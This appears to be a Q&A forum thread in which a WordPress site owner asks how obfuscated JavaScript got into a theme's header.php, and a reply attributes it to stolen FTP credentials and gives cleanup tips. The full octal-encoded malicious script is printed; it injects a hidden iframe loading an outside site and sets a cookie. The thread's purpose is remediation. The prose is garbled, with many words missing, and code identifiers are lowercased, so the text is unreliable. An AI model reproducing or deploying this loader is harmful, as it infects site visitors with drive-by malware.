Need to find out how malicious Javascript was injected into my header.php Wordpress theme file -

unfortunately site blocked containing malicious javascript avg , google. malicious code pasted below, somehow injected header.php theme file on latest version of wordpress. checked files , removed suspicious looking plugins make sure doesn't happen again. theme reputed vendor, cant see happening because of theme. looking know how done doesnt happen again.

host: 1&1 hosting wordpress: 3.5.1 php: 5.2.17 running on: apache

here malicious code:

<script type="text/javascript" language="javascript"> ss=eval("str"+"ing");d=document;a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,174,174,176,162,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,174,174,176,162,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,150,151,161,163,62,147,163,162,170,166,163,160,145,150,161,155,162,155,167,170,166,145,170,155,172,163,62,162,151,170,63,150,170,150,62,164,154,164,53,77,21,16,44,174,174,176,162,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,44,101,44,53,145,146,167,163,160,171,170,151,53,77,21,16,44,174,174,176,162,62,167,170,175,160,151,62,146,163,166,150,151,166,44,101,44,53,64,53,77,21,16,44,174,174,176,162,62,167,170,175,160,151,62,154,151,155,153,154,170,44,101,44,53,65,164,174,53,77,21,16,44,174,174,176,162,62,167,170,175,160,151,62,173,155,150,170,154,44,101,44,53,65,164,174,53,77,21,16,44,174,174,176,162,62,167,170,175,160,151,62,160,151,152,170,44,101,44,53,65,164,174,53,77,21,16,44,174,174,176,162,62,167,170,175,160,151,62,170,163,164,44,101,44,53,65,164,174,53,77,21,16,21,16,44,155,152,44,54,45,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,174,174,176,162,53,55,55,44,177,21,16,44,150,163,147,171,161,151,162,170,62,173,166,155,170,151,54,53,100,150,155,172,44,155,150,101,140,53,174,174,176,162,140,53,102,100,63,150,155,172,102,53,55,77,21,16,44,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,174,174,176,162,53,55,62,145,164,164,151,162,150,107,154,155,160,150,54,174,174,176,162,55,77,21,16,44,201,21,16,201,21,16,152,171,162,147,170,155,163,162,44,127,151,170,107,163,163,157,155,151,54,147,163,163,157,155,151,122,145,161,151,60,147,163,163,157,155,151,132,145,160,171,151,60,162,110,145,175,167,60,164,145,170,154,55,44,177,21,16,44,172,145,166,44,170,163,150,145,175,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,172,145,166,44,151,174,164,155,166,151,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,155,152,44,54,162,110,145,175,167,101,101,162,171,160,160,44,200,200,44,162,110,145,175,167,101,101,64,55,44,162,110,145,175,167,101,65,77,21,16,44,151,174,164,155,166,151,62,167,151,170,130,155,161,151,54,170,163,150,145,175,62,153,151,170,130,155,161,151,54,55,44,57,44,67,72,64,64,64,64,64,56,66,70,56,162,110,145,175,167,55,77,21,16,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,44,101,44,147,163,163,157,155,151,122,145,161,151,57,46,101,46,57,151,167,147,145,164,151,54,147,163,163,157,155,151,132,145,160,171,151,55,21,16,44,57,44,46,77,151,174,164,155,166,151,167,101,46,44,57,44,151,174,164,155,166,151,62,170,163,113,121,130,127,170,166,155,162,153,54,55,44,57,44,54,54,164,145,170,154,55,44,103,44,46,77,44,164,145,170,154,101,46,44,57,44,164,145,170,154,44,76,44,46,46,55,77,21,16,201,21,16,152,171,162,147,170,155,163,162,44,113,151,170,107,163,163,157,155,151,54,44,162,145,161,151,44,55,44,177,21,16,44,172,145,166,44,167,170,145,166,170,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,162,145,161,151,44,57,44,46,101,46,44,55,77,21,16,44,172,145,166,44,160,151,162,44,101,44,167,170,145,166,170,44,57,44,162,145,161,151,62,160,151,162,153,170,154,44,57,44,65,77,21,16,44,155,152,44,54,44,54,44,45,167,170,145,166,170,44,55,44,52,52,21,16,44,54,44,162,145,161,151,44,45,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,64,60,44,162,145,161,151,62,160,151,162,153,170,154,44,55,44,55,44,55,21,16,44,177,21,16,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,201,21,16,44,155,152,44,54,44,167,170,145,166,170,44,101,101,44,61,65,44,55,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,172,145,166,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,46,77,46,60,44,160,151,162,44,55,77,21,16,44,155,152,44,54,44,151,162,150,44,101,101,44,61,65,44,55,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,160,151,162,153,170,154,77,21,16,44,166,151,170,171,166,162,44,171,162,151,167,147,145,164,151,54,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,160,151,162,60,44,151,162,150,44,55,44,55,77,21,16,201,21,16,155,152,44,54,162,145,172,155,153,145,170,163,166,62,147,163,163,157,155,151,111,162,145,146,160,151,150,55,21,16,177,21,16,155,152,54,113,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,55,101,101,71,71,55,177,201,151,160,167,151,177,127,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,60,44,53,71,71,53,60,44,53,65,53,60,44,53,63,53,55,77,21,16,21,16,176,176,176,152,152,152,54,55,77,21,16,201,21,16,201,21,16"["split"](","));for(i=0;i<a.length;i+=1){a[i]=parseint(a[i],8)-(7-3);}try{d.body--}catch(q){zz=0;}try{zz&=2}catch(q){zz=1;}if(!zz)if(window["document"])eval(ss["fromcharcode"].apply(ss,a));</script> 

the code posted above indication of stolen ftp credentials.

i'm not if 1and1 gives access ftp logs, if so, in there. may find proof. we've cleaned on 160,000 websites , we've seen exact code in sites have access ftp logs , in every case it's been stolen ftp credentials.

the hackers know many people have ftp access websites. viruses designed steal ftp passwords. first, change passwords. don't login until after you've run full virus scan of computer. don't give out new passwords until others have run full system virus scan of computer.

a virus cleaner malwarebytes.

one thing should search files string: 44,152,171 (in case). reason while you'll find above code in .htm/.html/.js files, in .php files hackers use same code, it's "echo'd" many of special characters escaped in .php code.

you'll see maybe opening php tag <?php or short version <? followed series of spaces identifier #879076# (for instance) more spaces "echo " followed more spaces , opening script tag.

the added spaces designed try , hide malicious code off screen when viewed text editor.